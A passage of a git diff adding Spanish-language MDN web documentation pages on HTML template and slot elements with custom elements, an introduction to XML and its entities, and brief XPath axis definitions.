+<pre class="brush: html">&lt;template id="my-paragraph"&gt;
+  &lt;p&gt;Mi párrafo&lt;/p&gt;
+&lt;/template&gt;</pre>
+
+<p>Esto no aparecerá en tu página hasta que hagas una referencia a él con JavaScript y luego lo agregues al DOM, usando algo parecido a lo siguiente:</p>
+
+<pre class="brush: js">let template = document.getElementById('my-paragraph');
+let templateContent = template.content;
+document.body.appendChild(templateContent);</pre>
+
+<p>Aunque de una manera simple, ya puedes empezar a ver su utilidad.</p>
+
+<h2 id="Usando_el_elemento_&lt;template>_con_componentes_web">Usando el elemento &lt;template&gt; con componentes web</h2>
+
+<p>Las plantillas son útiles por si mismas, pero trabajan aún mejor con componentes web. Definamos un componente web que use nuestra plantilla como el contenido de su shadow DOM. Lo nombraremos <code>&lt;my-paragraph&gt;</code>:</p>
+
+<pre class="brush: js">customElements.define('my-paragraph',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('my-paragraph');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(templateContent.cloneNode(true));
+  }
+})</pre>
+
+<p>El punto clave a tener en cuenta aquí es que agregamos un clon del contenido de la plantilla al shadow root creado usando el método {{domxref("Node.cloneNode()")}}.</p>
+
+<p>Y debido a que estamos agregando su contenido a un shadow DOM, podemos incluir cierta información de estilo dentro de la plantilla en un elemento {{htmlelement("style")}}, que luego se encapsula dentro del elemento personalizado. Esto no funcionaría si nosotros solo lo agregásemos al DOM estandar.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: html">&lt;template id="my-paragraph"&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: #666;
+      padding: 5px;
+    }
+  &lt;/style&gt;
+  &lt;p&gt;Mi párrafo&lt;/p&gt;
+&lt;/template&gt;</pre>
+
+<p>Ahora podemos usarlo simplemente agregándolo a nuestro documento HTML:</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;&lt;/my-paragraph&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota: </strong>Las plantillas están bien soportadas en los navegadores: la API del Shadow DOM  es compatible por defecto con Firefox (version 63 en adelante), Chrome, Opera y Safari, Edge está trabajando en una implementación.</p>
+</div>
+
+<h2 id="Añadiendo_flexibilidad_con_el_elemento_&lt;slot>">Añadiendo flexibilidad con el elemento &lt;slot&gt;</h2>
+
+<p>Hasta aquí bien, pero el elemento no es muy flexible. Solo podemos mostrar una parte de texto dentro de él, lo que quiere decir que, hasta el momento, es menos útil que un párrafo normal. Podemos mostrar diferente texto en cada instancia de elemento de una forma declarativa agradable usando el elemento {{htmlelement("slot")}}. Este tiene un soporte más limitado que el elemento {{htmlelement("template")}}, disponible desde Chrome 53, Opera 40, Safari 10, Firefox 59, pero aún no disponible en Edge.</p>
+
+<p>Los slots son identificados por su atributo <code>name</code>, y te permiten definir marcadores de posición en tu plantilla que pueden rellenarse con cualquier fragmento de marcado cuando el elemento es usado.</p>
+
+<p>Así que, si queremos agregar un slot dentro de nuestro ejemplo sencillo, podemos actualizar el elemento de párrafo de la plantilla de la siguiente manera:</p>
+
+<pre class="brush: html">&lt;p&gt;&lt;slot name="my-text"&gt;<span class="tlid-translation translation" lang="es"><span title="">Mi texto predeterminado</span></span>&lt;/slot&gt;&lt;/p&gt;</pre>
+
+<p>Si el contenido del slot no está definido cuando el elemento se agrega al marcado, o si el navegador no soporta el elemento slot, <code>&lt;my-paragraph&gt;</code> solo contiene el texto alternativo "<span class="tlid-translation translation" lang="es"><span title="">Mi texto predeterminado</span></span>".</p>
+
+<p>Para definir el contenido de un slot, incluimos una estructura HTML dentro del elemento <code>&lt;my-paragraph&gt;</code> con un atributo {{htmlattrxref("slot")}} cuyo valor es igual al nombre del slot que  queremos rellenar. Al igual que<span class="tlid-translation translation" lang="es"><span title=""> antes, esto puede ser cualquier cosa, por ejemplo:</span></span></p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;span slot="my-text"&gt;<span class="tlid-translation translation" lang="es"><span title="">¡Tengamos un texto diferente!</span></span>&lt;/span&gt;
+&lt;/my-paragraph&gt;</pre>
+
+<p>o</p>
+
+<pre class="brush: html">&lt;my-paragraph&gt;
+  &lt;ul slot="my-text"&gt;
+    &lt;li&gt;<span class="tlid-translation translation" lang="es"><span title="">¡Tengamos un texto diferente!</span></span>&lt;/li&gt;
+    &lt;li&gt;¡En una lista!&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/my-paragraph&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota: </strong>Los elementos que pueden ser insertados en los slots son conocidos como {{domxref("Slotable")}}; cuando un elemento ha sido insertado en un slot, se dice que fue <em>eslotado </em>por su término en inlgés <em>slotted.</em></p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Un {{HTMLElement("slot")}} <span class="tlid-translation translation" lang="es"><span title="">sin nombre se rellenará con todos los nodos secundarios de nivel superior del elemento personalizado que no tengan el atributo </span></span> {{htmlattrxref("slot")}}. <span class="tlid-translation translation" lang="es"><span title="">Esto incluye nodos de texto.</span></span></p>
+</div>
+
+<p>Y eso es todo nuestro ejemplo sencillo. Si quieres jugar con él un poco más, puedes encontrarlo en <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">GitHub</a> (también puedes <a href="https://mdn.github.io/web-components-examples/simple-template/">verlo en vivo</a>).</p>
+
+<h2 id="Un_ejemplo_más_completo">Un ejemplo más completo</h2>
+
+<p>Para finalizar el artículo, veamos algo menos trivial.</p>
+
+<p>El siguiente conjunto de fragmentos de código muestra cómo usar {{HTMLElement("slot")}} junto con  {{HTMLElement("template")}} y algo de JavaScript para:</p>
+
+<ul>
+ <li>crear un elemento <strong><code>&lt;element-details&gt;</code></strong>  con <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slots con atributo name</a> en su <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a></li>
+ <li>diseñe el elemento <strong><code>&lt;element-details&gt;</code></strong> de forma que, cuando se use en documentos, sea renderizado desde la composición del contenido del elemento junto con el contenido de su <a href="/en-US/docs/Web/API/ShadowRoot">shadow root,</a> es decir, se utilizan partes del contenido del elemento para rellenar el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> de los <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slots con atributo name</a></li>
+</ul>
+
+<p>Observa que es técnicamente posible usar el elemento {{HTMLElement("slot")}} sin un elemento {{HTMLElement("template")}}, por ejemplo, dentro de un elemento {{HTMLElement("div")}} normal, y aun así tomar ventaja de los indicadores de posición de el elemento {{HTMLElement("slot")}} para el contenido del <a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>, y al hacerlo puedes evitar el problema de tener que acceder primero a la propiedad <code>content</code> del elemento de la plantilla y clonarlo. Sin embargo, por lo general, es más práctico agregar slots dentro de un elemento {{HTMLElement("template")}}, ya que es poco probable que necesites definir un patrón basado en un elemento ya renderizado.</p>
+
+<p>Además, incluso si no está renderizado, el propósito del contenedor como plantilla debería ser semánticamente más claro cuando se usa el elemento {{HTMLElement("template")}}. Además, el elemento {{HTMLElement("template")}} puede tener elementos agregados directamente a él, como {{HTMLElement("td")}}, que desaparecerían al añadirse a un {{HTMLElement ("div")}}.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Puedes encontrar el ejemplo completo en <a href="https://github.com/mdn/web-components-examples/tree/master/element-details">element-details </a>(también lo puedes<a href="https://github.com/mdn/web-components-examples/tree/master/element-details"> ver en vivo</a>)</p>
+</div>
+
+<h3 id="Creando_una_plantilla_con_algunos_elementos_&lt;slot>">Creando una plantilla con algunos elementos &lt;slot&gt;</h3>
+
+<p>En primer lugar, usamos el elemento {{HTMLElement("slot")}} dentro de un elemento {{HTMLElement("template")}} para crear un nuevo <a href="/en-US/docs/Web/API/DocumentFragment">fragmento de documento</a> de tipo "element-details-template" que contiene algunos <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slots con el atributo name</a>:</p>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+  details {font-family: "Open Sans Light",Helvetica,Arial}
+  .name {font-weight: bold; color: #217ac0; font-size: 120%}
+  h4 { margin: 10px 0 -8px 0; }
+  h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+  h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+  h4 span { color: white }
+  .attributes { margin-left: 22px; font-size: 90% }
+  .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;span&gt;
+        &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NECESITA NOMBRE&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+        &lt;i class="desc"&gt;&lt;slot name="description"&gt;NECESITA DESCRIPCIÓN&lt;/slot&gt;&lt;/i&gt;
+      &lt;/span&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;&lt;span&gt;Atributos&lt;/span&gt;&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;Ninguno&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Ese elemento {{HTMLElement("template")}} tiene varias características.</p>
+
+<ul>
+ <li>El {{HTMLElement ("template")}} tiene un elemento {{HTMLElement ("style")}} con un conjunto de estilos CSS ajustados al ámbito del fragmento de documento que {{HTMLElement ("template")}} crea.</li>
+ <li>El elemento {{HTMLElement("template")}} usa {{HTMLElement("slot")}} y su atributo {{htmlattrxref("name", "slot")}} para hacer tres <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slots con el atributo name</a>:
+  <ul>
+   <li><code>&lt;slot name="element-name"&gt;</code></li>
+   <li><code>&lt;slot name="description"&gt;</code></li>
+   <li><code>&lt;slot name="attributes"&gt;</code></li>
+  </ul>
+ </li>
+ <li>El elemento {{HTMLElement("template")}} envuelve los <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/slot#named-slot">slots con atributo name</a> dentro de un elemento {{HTMLElement("details")}}.</li>
+</ul>
+
+<h3 id="Crear_un_nuevo_elemento_&lt;element-details>_desde_el_elemento_&lt;template>">Crear un nuevo elemento &lt;element-details&gt; desde el elemento &lt;template&gt;</h3>
+
+<p>A continuación, crearemos un nuevo elemento personalizado llamado <strong><code>&lt;element-details&gt;</code></strong> y usaremos {{DOMXref("Element.attachShadow")}} para anclarlo, como su <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, a ese fragmento de documento que creamos anteriormente con nuestro elemento {{HTMLElement("template")}}. Usa exactamente el mismo patrón que vimos antes en el ejemplo sencillo.</p>
+
+<pre class="brush: js">customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      var template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+  }
+})
+</pre>
+
+<h3 id="Usando_el_elemento_&lt;element-details>_con_slots_con_el_atributo_name">Usando el elemento &lt;element-details&gt; con slots con el atributo name</h3>
+
+<p>Ahora tomaremos el elemento <strong><code>&lt;element-details&gt;</code></strong> para usarlo en nuestro documento.</p>
+
+<pre class="brush: html">&lt;element-details&gt;
+  &lt;span slot="element-name"&gt;slot&lt;/span&gt;
+  &lt;span slot="description"&gt;Un marcador de posición dentro de un
+     componente web que los usuarios pueden rellenar con su propio marcado,
+     con el efecto de componer diferentes árboles DOM
+     juntos.&lt;/span&gt;
+  &lt;dl slot="attributes"&gt;
+    &lt;dt&gt;name&lt;/dt&gt;
+    &lt;dd&gt;El atributo name del slot.&lt;/dd&gt;
+  &lt;/dl&gt;
+&lt;/element-details&gt;
+
+&lt;element-details&gt;
+  &lt;span slot="element-name"&gt;template&lt;/span&gt;
+  &lt;span slot="description"&gt;Un mecanismo para guardar contenido
+     en el lado cliente que no se renderiza cuando la página se
+     carga sino que posteriormente se puede instanciar en
+     tiempo de ejecución usando JavaScript.&lt;/span&gt;
+&lt;/element-details&gt;
+</pre>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Observa estos puntos sobre el fragmento anterior</span></span>:</p>
+
+<ul>
+ <li>El fragento tiene dos instancias de elementos <strong><code>&lt;element-details&gt;</code></strong> que usan el atributo {{htmlattrxref("slot")}} para referenciar los <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/slot#named-slot">slots con atributo name</a> <code>"element-name"</code> y <code>"description"</code> que colocamos en el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> del <code>&lt;element-details&gt;</code></li>
+ <li>Solo el primero de esos dos elementos <strong><code>&lt;element-details&gt;</code></strong> hace referencia a los <code>"attributes"</code> de <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name. </a>El segundo elemento <code><strong>&lt;element-details</strong>&gt;</code> carece de cualquier referencia a <code>"attributes"</code> de <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a>.</li>
+ <li>El primer elemento <code>&lt;<strong>element-details&gt;</strong></code> está referenciando los <code>"attributes"</code>  de <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a> usando un elemento {{HTMLElement("dl")}} con {{HTMLElement("dt")}} y {{HTMLElement("dd")}} como hijos.</li>
+</ul>
+
+<h3 id="Añadamos_algunos_estilos">Añadamos algunos estilos</h3>
+
+<p>Como toque final, añadiremos algunos estilos CSS a los ellementos {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, y {{HTMLElement("dd")}} en el documento:</p>
+
+<pre class="brush: css">  dl { margin-left: 6px; }
+  dt { font-weight: bold; color: #217ac0; font-size: 110% }
+  dt { font-family: Consolas, "Liberation Mono", Courier }
+  dd { margin-left: 16px }
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">body { margin-top: 47px }</pre>
+</div>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>Finalmente, juntemos todos los fragmentos y veamos cómo se ve el resultado renderizado.</p>
+
+<p>{{ EmbedLiveSample('full_example', '300','400','https://mdn.mozillademos.org/files/14553/element-details.png','') }}</p>
+
+<p>Observa los siguientes puntos del resultado renderizado:</p>
+
+<ul>
+ <li>Aún cuando las instancias del elemento <strong><code>&lt;element-details&gt;</code></strong> en el documento no usan directamente el elemento {{HTMLElement("details")}}, se renderizan usando {{HTMLElement("details")}} porque el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> hace que ellos se rellenen.</li>
+ <li>En la salida de {{HTMLElement ("details")}}, el contenido de los elementos <strong><code>&lt;element-details&gt;</code></strong> llena los <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slots con atributo name</a> desde el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>. En otras palabras, el árbol DOM de los elementos <strong><code>&lt;element-details&gt;</code></strong> se compone junto con el contenido del <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>.</li>
+ <li>Para ambos elementos <strong><code>&lt;element-details&gt;</code></strong>, un encabezado de <strong>Attributes</strong> se añade automáticamente desde el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a> antes de la posición <code>"attributes"</code> del <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a>.</li>
+ <li>Ya que el primer elemento <strong><code>&lt;element-details&gt;</code></strong> tiene un elemento {{HTMLElement("dl")}} que hace referencia explicita al <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a> <code>"attributes"</code> desde su <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, el contenido de ese {{HTMLElement("dl")}} reemplaza el <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a> <code>"attributes"</code> desde el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a></li>
+ <li>Ya que el segundo elemento <strong><code>&lt;element-details&gt;</code></strong> no hace referencia explícita al <a href="/en-US/docs/Web/HTML/Element/slot#named-slot">slot con atributo name</a> <code>"attributes"</code> desde su <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>, su contenido se rellena con el contenido predeterminado desde el <a href="/en-US/docs/Web/API/ShadowRoot">shadow root</a>.</li>
+</ul>
+
+<div class="hidden">
+<h5 id="full_example">full example</h5>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;ejemplo de slot&lt;/title&gt;
+    &lt;style&gt;
+
+      dl { margin-left: 6px; }
+      dt { font-weight: bold; color: #217ac0; font-size: 110% }
+      dt { font-family: Consolas, "Liberation Mono", Courier }
+      dd { margin-left: 16px }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;template id="element-details-template"&gt;
+      &lt;style&gt;
+      details {font-family: "Open Sans Light",Helvetica,Arial}
+      .name {font-weight: bold; color: #217ac0; font-size: 120%}
+      h4 { margin: 10px 0 -8px 0; }
+      h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+      h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+      h4 span { color: white }
+      .attributes { margin-left: 22px; font-size: 90% }
+      .attributes p { margin-left: 16px; font-style: italic }
+      &lt;/style&gt;
+      &lt;details&gt;
+        &lt;summary&gt;
+          &lt;span&gt;
+            &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NECESITA NOMBRE&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+            &lt;i class="desc"&gt;&lt;slot name="description"&gt;NECESITA DESCRIPCIÓN&lt;/slot&gt;&lt;/i&gt;
+          &lt;/span&gt;
+        &lt;/summary&gt;
+        &lt;div class="attributes"&gt;
+          &lt;h4&gt;&lt;span&gt;Attributos&lt;/span&gt;&lt;/h4&gt;
+          &lt;slot name="attributes"&gt;&lt;p&gt;Ninguno&lt;/p&gt;&lt;/slot&gt;
+        &lt;/div&gt;
+      &lt;/details&gt;
+      &lt;hr&gt;
+    &lt;/template&gt;
+
+    &lt;element-details&gt;
+      &lt;span slot="element-name"&gt;slot&lt;/span&gt;
+      &lt;span slot="description"&gt;Un marcador de posición dentro de un
+     componente web que los usuarios pueden rellenar con su propio marcado,
+     con el efecto de componer diferentes árboles DOM
+     juntos.&lt;/span&gt;
+      &lt;dl slot="attributes"&gt;
+        &lt;dt&gt;name&lt;/dt&gt;
+        &lt;dd&gt;El atributo name del slot.&lt;/dd&gt;
+      &lt;/dl&gt;
+    &lt;/element-details&gt;
+
+    &lt;element-details&gt;
+      &lt;span slot="element-name"&gt;template&lt;/span&gt;
+      &lt;span slot="description"&gt;Un mecanismo para guardar contenido
+     en el lado cliente que no se renderiza cuando la página se
+     carga sino que posteriormente se puede instanciar en
+     tiempo de ejecución usando JavaScript.&lt;/span&gt;
+    &lt;/element-details&gt;
+
+    &lt;script&gt;
+    customElements.define('element-details',
+      class extends HTMLElement {
+        constructor() {
+          super();
+          const template = document
+            .getElementById('element-details-template')
+            .content;
+          const shadowRoot = this.attachShadow({mode: 'open'})
+            .appendChild(template.cloneNode(true));
+        }
+      })
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
diff --git a/files/es/web/xml/index.html b/files/es/web/xml/index.html
new file mode 100644
index 0000000000..5c54c27742
--- /dev/null
+++ b/files/es/web/xml/index.html
@@ -0,0 +1,17 @@
+---
+title: 'XML: Extensible Markup Language'
+slug: Web/XML
+tags:
+  - Draft
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary">The <strong>Extensible Markup Language</strong> is a strict serialisation of the <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a>.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/web/xml/introducción_a_xml/index.html b/files/es/web/xml/introducción_a_xml/index.html
new file mode 100644
index 0000000000..c2193e80fb
--- /dev/null
+++ b/files/es/web/xml/introducción_a_xml/index.html
@@ -0,0 +1,125 @@
+---
+title: Introducción a XML
+slug: Web/XML/Introducción_a_XML
+tags:
+  - Principiante
+  - XML
+  - introducción
+translation_of: Web/XML/XML_introduction
+---
+<p><span class="seoSummary">XML es un lenguaje de marcado similar a HTML. Significa Extensible Markup Language (Lenguaje de Marcado Extensible) y es una especificación de <a class="external" href="https://www.w3.org/TR/xml/">W3C</a> como lenguaje de marcado de propósito general. Esto significa que, a diferencia de otros lenguajes de marcado, XML no está predefinido, por lo que debes definir tus propias etiquetas. El propósito principal del lenguaje es compartir datos a través de diferentes sistemas, como Internet.</span></p>
+
+<p>Hay muchos lenguajes basados en XML; Algunos ejemplos son <a href="/es/docs/XHTML" title="en/XHTML">XHTML</a>, <a href="/es/docs/Web/MathML" title="en/MathML">MathML</a>, <a href="/es/docs/Web/SVG" title="en/SVG">SVG</a>, <a href="/es/docs/Mozilla/Tech/XUL" title="en/XUL">XUL</a>, <a href="/es/docs/XBL" title="en/XBL">XBL</a>, <a href="/es/docs/Archive/RSS" title="en/RSS">RSS</a>, y <a href="/es/docs/RDF" title="en/RDF">RDF</a>. También puedes crear uno propio.</p>
+
+<h2 id="XML_Correcto_(válido_y_bien_formado)">XML "Correcto" (válido y bien formado)</h2>
+
+<p>Para que un documento XML sea correcto, debe ser un documento bien formado, cumpliendo todas las reglas de sintaxis de XML, y válidas, acorde a las reglas de un lenguaje específico. Un ejemplo de un documento que no está bien formado es uno que tiene una etiqueta de apertura y no tiene una de cierre, ni se cierra en si misma.</p>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<p>En el ejemplo siguiente, vemos un documento en el que una etiqueta que no se cierra a si misma, no tiene etiqueta de cierre.</p>
+
+<pre class="brush: xml">&lt;message&gt;
+    &lt;warning&gt;
+        Hola, mundo
+    &lt;!--missing &lt;/warning&gt; --&gt;
+&lt;/message&gt;
+</pre>
+
+<p>Ahora veamos una versión correcta del mismo documento:</p>
+
+<pre class="brush: xml">&lt;message&gt;
+    &lt;warning&gt;
+         Hola, mundo
+    &lt;/warning&gt;
+&lt;/message&gt;
+</pre>
+
+<p>Para ser válido, un documento XML necesita cumplir ciertas reglas de semántica que son generalmente definidas en un esquema XML o en una <strong><a href="/es/docs/Glossary/DTD" title="en/DTD">Definición de Tipo de Documento</a></strong> (DTD). Un documento que contiene una etiqueta no definida es inválido. Por ejemplo, si nunca definimos la etiqueta <code>&lt;warning&gt;</code>, el documento anterior no sería válido.</p>
+
+<div class="note">
+<p>La mayoría de los navegadores ofrecen un depurador que puede identificar documentos XML mal formados.</p>
+</div>
+
+<h2 id="Entities" name="Entities">Entidades</h2>
+
+<p>Al igual que HTML, XML ofrece métodos (llamados entidades) para referir a algunos caracteres especiales reservados (como el signo de mayor que, usado para las etiquetas). Hay cinco de estos caracteres que debes conocer:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Entidad</th>
+   <th scope="col">Caracter</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&amp;lt;</td>
+   <td>&lt;</td>
+   <td>Menor que</td>
+  </tr>
+  <tr>
+   <td>&amp;gt;</td>
+   <td>&gt;</td>
+   <td>Mayor que</td>
+  </tr>
+  <tr>
+   <td>&amp;amp;</td>
+   <td>&amp;</td>
+   <td>Ampersand</td>
+  </tr>
+  <tr>
+   <td>&amp;quot;</td>
+   <td>"</td>
+   <td>Comilla doble</td>
+  </tr>
+  <tr>
+   <td>&amp;apos;</td>
+   <td>'</td>
+   <td>Apóstrofe (o comilla sencilla)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Aunque solo hay cinco entidades declaradas, se pueden añadir más usando el <a href="/es/docs/Glossary/DTD" title="en/DTD">DTD</a> del documento. Por ejemplo, para crear una nueva entidad <code>&amp;warning;</code>, puedes hacer esto:</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE body [
+  &lt;!ENTITY warning "Advertencia: Algo malo pasó... porfavor intente de nuevo."&gt;
+]&gt;
+&lt;body&gt;
+  &lt;message&gt; &amp;warning; &lt;/message&gt;
+&lt;/body&gt;
+</pre>
+
+<p>También puedes usar referencias a caracteres numéricas para especificar caracteres especiales; por ejemplo, &amp;#xA9; es el símbolo "©".</p>
+
+<h2 id="Presentando_XML">Presentando XML</h2>
+
+<p>XML es generalmente para propósitos descriptivos, pero hay maneras de presentar datos XML. Si no defines una manera específica de renderizar XML, el contenido puro de XML es mostrado en el navegador.</p>
+
+<p>Una forma de estilizar la salida de XML es especificando <a href="/es/docs/Web/CSS" title="en/CSS">CSS</a> que aplique al documento usando la instrucción de procesamiento <code>xml-stylesheet</code>.</p>
+
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+
+<p>También hay otra manera más poderosa de presentar XML: <strong>Extensible Stylesheet Language Transformations</strong> (<a href="/es/docs/Web/XSLT" title="en/XSLT">XSLT</a>) que puede ser usado para transformar XML a otros lenguajes como HTML. Esto hace a XML increíblemente versátil.</p>
+
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+
+<h2 id="Recommendations" name="Recommendations">Recomendaciones</h2>
+
+<p>Este artículo es, obviamente, sólo una breve introducción a los que es XML, con unos pocos ejemplos pequeños y referencias para iniciar. Para más detalles acerca de XML, busca en la Web artículos más a fondo.</p>
+
+<p>Aprender el Lenguaje de Marcado de Hipertexto (<a href="/es/docs/Web/HTML" title="en/HTML">HTML</a>) te ayudará a entender mejor XML.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.xml.com/">XML.com</a></li>
+ <li><a class="external" href="https://www.w3.org/XML/">Extensible Markup Language (XML) @ W3.org</a></li>
+ <li><a class="external" href="http://www.alistapart.com/d/usingxml/xml_uses_a.html">XML Example: A List Apart</a></li>
+ <li><a class="external" href="http://www.alistapart.com/articles/usingxml/">Using XML: A List Apart</a></li>
+</ul>
+
+<p>El artículo <a href="http://www.alistapart.com/articles/usingxml/">Using XML</a> mostrado anteriormente es un gran recurso de información para transformar y crear tu propio lenguaje.</p>
diff --git a/files/es/web/xpath/ejes/ancestor-or-self/index.html b/files/es/web/xpath/ejes/ancestor-or-self/index.html
new file mode 100644
index 0000000000..902aa3f6b9
--- /dev/null
+++ b/files/es/web/xpath/ejes/ancestor-or-self/index.html
@@ -0,0 +1,8 @@
+---
+title: ancestor-or-self
+slug: Web/XPath/Ejes/ancestor-or-self
+translation_of: Web/XPath/Axes/ancestor-or-self
+---
+<p>
+</p><p>El nodo <code>ancestor-or-self</code> indica el nodo de contexto y todos sus antecesores, incluyendo el nodo raiz.
+</p>{{ languages( { "en": "en/XPath/Axes/ancestor-or-self", "fr": "fr/XPath/Axes/ancestor-or-self", "pl": "pl/XPath/Osie/ancestor-or-self" } ) }}
diff --git a/files/es/web/xpath/ejes/ancestor/index.html b/files/es/web/xpath/ejes/ancestor/index.html
new file mode 100644
index 0000000000..5d7148e0bc
--- /dev/null
+++ b/files/es/web/xpath/ejes/ancestor/index.html
@@ -0,0 +1,8 @@
+---
+title: ancestor
+slug: Web/XPath/Ejes/ancestor
+translation_of: Web/XPath/Axes/ancestor
+---
+<p>
+</p><p>El eje <code>ancestor</code> indica todos los antecesores del nodo de contexto comenzando con el nodo padre y viajando hacia el nodo raiz.
+</p>{{ languages( { "en": "en/XPath/Axes/ancestor", "fr": "fr/XPath/Axes/ancestor", "pl": "pl/XPath/Osie/ancestor" } ) }}
diff --git a/files/es/web/xpath/ejes/attribute/index.html b/files/es/web/xpath/ejes/attribute/index.html
new file mode 100644
index 0000000000..211ad7bc06
--- /dev/null
+++ b/files/es/web/xpath/ejes/attribute/index.html
@@ -0,0 +1,8 @@
+---
+title: attribute
+slug: Web/XPath/Ejes/attribute
+translation_of: Web/XPath/Axes/attribute
+---
+<p>
+</p><p>El eje <code>attribute</code> indica los atributos del nodo de contexto. Sólo los elementos tienen atributos. Este eje se puede abreviar con el signo (<code>@</code>).
+</p>{{ languages( { "en": "en/XPath/Axes/attribute", "fr": "fr/XPath/Axes/attribute", "pl": "pl/XPath/Osie/attribute" } ) }}
diff --git a/files/es/web/xpath/ejes/child/index.html b/files/es/web/xpath/ejes/child/index.html
new file mode 100644
index 0000000000..97ded1fcb4
--- /dev/null
+++ b/files/es/web/xpath/ejes/child/index.html
@@ -0,0 +1,8 @@
+---
+title: child
+slug: Web/XPath/Ejes/child
+translation_of: Web/XPath/Axes/child
+---
+<p>
+</p><p>El eje <code>child</code> indica el hijo del nodo de contexto. Si una expresión XPath no especifica un eje, se entiende por defecto. Ya que sólo los nodos raiz o los nodos elementos tienen hijos, cualquier otro uso no seleccionará nada.
+</p>{{ languages( { "en": "en/XPath/Axes/child", "fr": "fr/XPath/Axes/child", "pl": "pl/XPath/Osie/child" } ) }}
diff --git a/files/es/web/xpath/ejes/descendant-or-self/index.html b/files/es/web/xpath/ejes/descendant-or-self/index.html
new file mode 100644
index 0000000000..42061ddf67
--- /dev/null
+++ b/files/es/web/xpath/ejes/descendant-or-self/index.html
@@ -0,0 +1,8 @@
+---
+title: descendant-or-self
+slug: Web/XPath/Ejes/descendant-or-self
+translation_of: Web/XPath/Axes/descendant-or-self
+---
+<p>
+</p><p>El eje <code>descendant-or-self</code> indica el nodo de contexto y todos sus descendientes. <b>No</b> se incluyen los nodos atributos y namespaces - el <code>parent</code> de un nodo <code>attribute</code> es un nodo elemento, pero los nodos <code>attribute</code> no son los hijos de sus padres.
